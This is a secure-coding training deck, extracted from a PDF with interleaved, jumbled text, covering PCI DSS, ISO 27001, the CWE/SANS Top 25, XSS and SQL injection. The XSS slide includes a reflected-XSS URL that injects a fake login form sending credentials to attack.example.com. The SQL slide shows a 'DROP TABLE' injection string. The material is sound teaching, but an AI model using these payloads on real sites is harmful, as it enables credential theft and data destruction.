Software Development Guidelines Jan 2019
Total Page:16
File Type:pdf, Size:1020Kb
SECURE Software Development Guidelines Jan 2019 CONTENT 01 Introduction 02 Secure Software Development 03 Good coding practices 04 Principles of secure code design 05 Examples Secure Software Development Guidelines 2 01 Introduction Introduction Information technology is part of the life-blood The purpose of this presentation is to stand on of modern-day business operations. the shoulders of existing good practices, not Organisations are dependent on reliable and replace recognised ways of secure coding. This secure communications and IT systems. guide provides an overview of good working practices and techniques for assuring the Furthermore, the secure development of development of secure software. software is essential for ensuring the confidentiality, integrity, and availability of It is impractical to eliminate all security information processed within software vulnerabilities. However, by following applications, running upon information recognised good practices, this guide will communication technologies. facilitate changes in behaviours to reduce the likelihood of main security threats. Secure Software Development Guidelines 4 02 Secure Software Development and Standards Overview: Secure Development “Buffer overflows”, “zero-day vulnerabilities”, Secure software development is the art, rather “SQL injection”, are all buzz-words that signify than science, of reducing the likelihood of security problems in software that have systems compromise, given known, common, allowed, for example, a website, or a fat-client insecure development practices. application to become compromised and cracked into by an organised gang, an individual for financial or reputation gain. The sources of these attacks are many and varied (but are explored later on). However what they have in common is an open field to plough and reap financial gain from miss- configured, and insecurely programmed software applications. Secure Software Development and Standards and Development Secure Software 02 Secure Software Development Guidelines 6 Requirements in Standards The two standards used as key motivators that 01 PCI DSS 02 ISO 27001 underpin secure development practices are: The Payment Card Industry Data Security The information security management Standard framework PCI DSS is a formal requirement set out by This standard is generally seen (i.e. the card schemes (Visa etc) which in turn, is Information Commissioner, and the Financial regulated by the banks, who enforce the Services Authority) as the primary suggested standard upon merchants. guidance for establishing an information security management system. PCI DSS can fit Requirement six (Develop and maintain secure under ISO 27001. systems and applications) of the PCI DSS sets out prescriptive requirements for secure The standard is less prescriptive and provides development. a wider scope with regards to guidance on secure software development. Secure Software Development and Standards and Development Secure Software All these areas are explored in section 3 of this guide. 02 Secure Software Development Guidelines 7 03 Good Coding Practices Good Coding Practices There are a plethora of good coding practices 01 CWE/SANS Top 25 software errors available from Microsoft, Oracle, and other large and small software providers on the 02 CERT Top 10 secure coding practices Internet that provide excellent direction on securing your code (these are referred to within this guide). 03 OWASP Secure coding practices checklist Here, we explore three approaches to Good Coding Practices encourage secure coding practices. 03 Secure Software Development Guidelines 9 B. Risky Resource Management • Classic Buffer Overflow – Buffer copy without checking size of input • Path Traversal – Improper limitation of a pathname to a 01 CWE/SANS Top 25 Software Errors restricted directory • Improper checking for unusual The SANS Institute has a global reputation for or exceptional conditions been neutral on products, vendors, and standards. It provides expert guidance on secure development practices, and it works with government and private sector entities alike. A. Insecure Interaction C. Porous Defences The CWE/SANS Top 25 software errors explore Between Components Good Coding Practices the fundamental failures in programming that • Improper Access • Cross-site Scripting’ or 03 promote security weaknesses and criminal Control (Authorisation) exploitation. XSS - Failure to preserve web page structure • Reliance on untrusted The CWE/SANS Top 25 group the 25 software inputs in a security errors into THREE categories: • SQL Injection’ - Failure decision to preserve SQL Query Structure • Missing encryption of sensitive data • Cross-Site Request Forgery (CSRF) Secure Software Development Guidelines 10 01 CWE/SANS Top 25 Software Errors A. Insecure Interaction Between This group of problems is routed in the flexibility Given that HTTP provides flexibility, the state of HTTP as web protocol. HTTP is a stateless needs to be maintained for tracking users, Components protocol, which provides a large amount of applications, and their respective preferences. freedom in developing web technologies. This This is achieved sometimes through cookies, but freedom provides significant benefits to both the also through programming techniques that lead producer of web content and consumers. E.g. to security problems such as the web server not being tied down with a connection for every individual web user; Good Coding Practices therefore, freeing up resources for other web 03 users, and in turn saving money, and improving performance. Wherefore as if the HTTP protocol were stateful, every single user could have a dedicated and reserved connection to the server. This would, on the contrary, reduce available resources leading to more servers having to be made available, and web users having to wait for a free connection. Secure Software Development Guidelines 11 01 CWE/SANS Top 25 Software Errors A. Insecure Interaction Between This type of vulnerability is where a user is 2. Stored XSS (persistent) provided with what they believe to be genuine In this case, the XSS is saved within the web Components content from a website they have connected to, framework of the website, for example in a but this content is, in fact, hiding some malicious database, or uploaded via another vulnerability Cross-site Scripting’ or XSS - Failure to code or script. or access point; and preserve web page structure For example, you are directed to a website via a 3. DOM-Based XSS SQL Injection’ - Failure to preserve SQL link in an email, this link provides a URL to a bank In this case, the XSS is based upon the Good Coding Practices Query Structure you are a customer with. The link contains a link presentation object model (DOM), the XSS is 03 to the bank but, also has embedded content that embedded into the webpage, through client-side Cross-Site Request Forgery (CSRF) directs your login page to a malicious site which scripts which are altered and sent back to the captures these details, as part of some fraudulent website for processing, and come back to the or theft activity. user as looking like genuine website content. There are three types of XSS: 1. Reflected XSS (non-persistent) Here the example given above is the “classic” XSS, however, the XSS is temporary, not stored within the website framework; Secure Software Development Guidelines 12 For further information, please refer to: http://cwe.mitre.org/data/definitions/79.html#Demonstrativ e%20Examples 01 CWE/SANS Top 25 Software Errors A. Insecure Interaction Between A URL link below is an example of Reflected XSS for a PHP page which can be distributed by the Components attacker. The link will create a fake login box which sends login credentials to the attacker. Cross-site Scripting’ or XSS - Failure to preserve web page structure http://trustedSite.example.com/welcome.php?us ername=<div id="stealPassword">Please SQL Injection’ - Failure to preserve SQL Login:<form name="input" Good Coding Practices Query Structure action="http://attack.example.com/stealPasswor 03 d.php" method="post">Username: <input Cross-Site Request Forgery (CSRF) type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div> This URL link can be further obfuscated by translating the attack string to Unicode, rendering the text in the URL link human unreadable. Secure Software Development Guidelines 13 01 CWE/SANS Top 25 Software Errors A. Insecure Interaction Between SQL (Structure Query Language) is a simple query For example, if SQL statements are executed language that provides large amounts of without checking for input, an SQL injection to Components flexibility in querying data. This flexibility also drop tables or database can be performed. provides security drawbacks, in the sense that it Cross-site Scripting’ or XSS - Failure to is a flexible language, and innately trusting. To txtSQL = "SELECT * FROM Users WHERE UserId = preserve web page structure secure SQL, the environment upon which it exists " + txtUserId; and executes must be secured. SQL injection performed by passing “105; DROP SQL Injection’ - Failure to preserve SQL TABLE Suppliers” into txtUserId through an input Good Coding Practices Query Structure In a nutshell, an SQL injection attack is caused by field. 03 accepting and not validating an SQL query which Cross-Site Request Forgery (CSRF) has some form of untrusted extension appended to it. This is often achieved through a lack of